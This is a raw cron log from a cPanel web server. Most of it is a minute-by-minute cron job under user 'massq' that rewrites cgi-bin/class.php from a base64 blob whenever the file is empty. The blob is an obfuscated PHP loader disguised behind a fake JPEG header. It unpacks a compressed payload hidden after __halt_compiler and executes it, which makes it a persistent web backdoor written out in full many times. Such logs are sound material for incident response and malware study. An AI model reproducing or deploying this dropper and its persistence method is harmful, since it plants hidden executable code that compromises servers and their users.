uY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:52:01 server CROND[3086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:53:01 server CROND[3142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:54:01 server CROND[3291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:55:01 server CROND[3353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:55:01 server CROND[3354]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 13:55:01 server CROND[3355]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 13:56:01 server CROND[3483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:57:01 server CROND[3542]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 13:57:01 server CROND[3543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:58:01 server CROND[3619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:59:01 server CROND[3782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:00:01 server CROND[3852]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 14:00:01 server CROND[3854]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 14:00:01 server CROND[3855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 14:00:01 server CROND[3856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:00:01 server CROND[3857]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  6 14:01:01 server CROND[3985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:01:01 server CROND[3986]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 14:01:01 server run-parts(/etc/cron.hourly)[3986]: starting 0anacron
Apr  6 14:01:01 server run-parts(/etc/cron.hourly)[3998]: finished 0anacron
Apr  6 14:02:01 server CROND[4049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:03:01 server CROND[4113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:04:01 server CROND[4177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:05:01 server CROND[4332]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  6 14:05:01 server CROND[4333]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
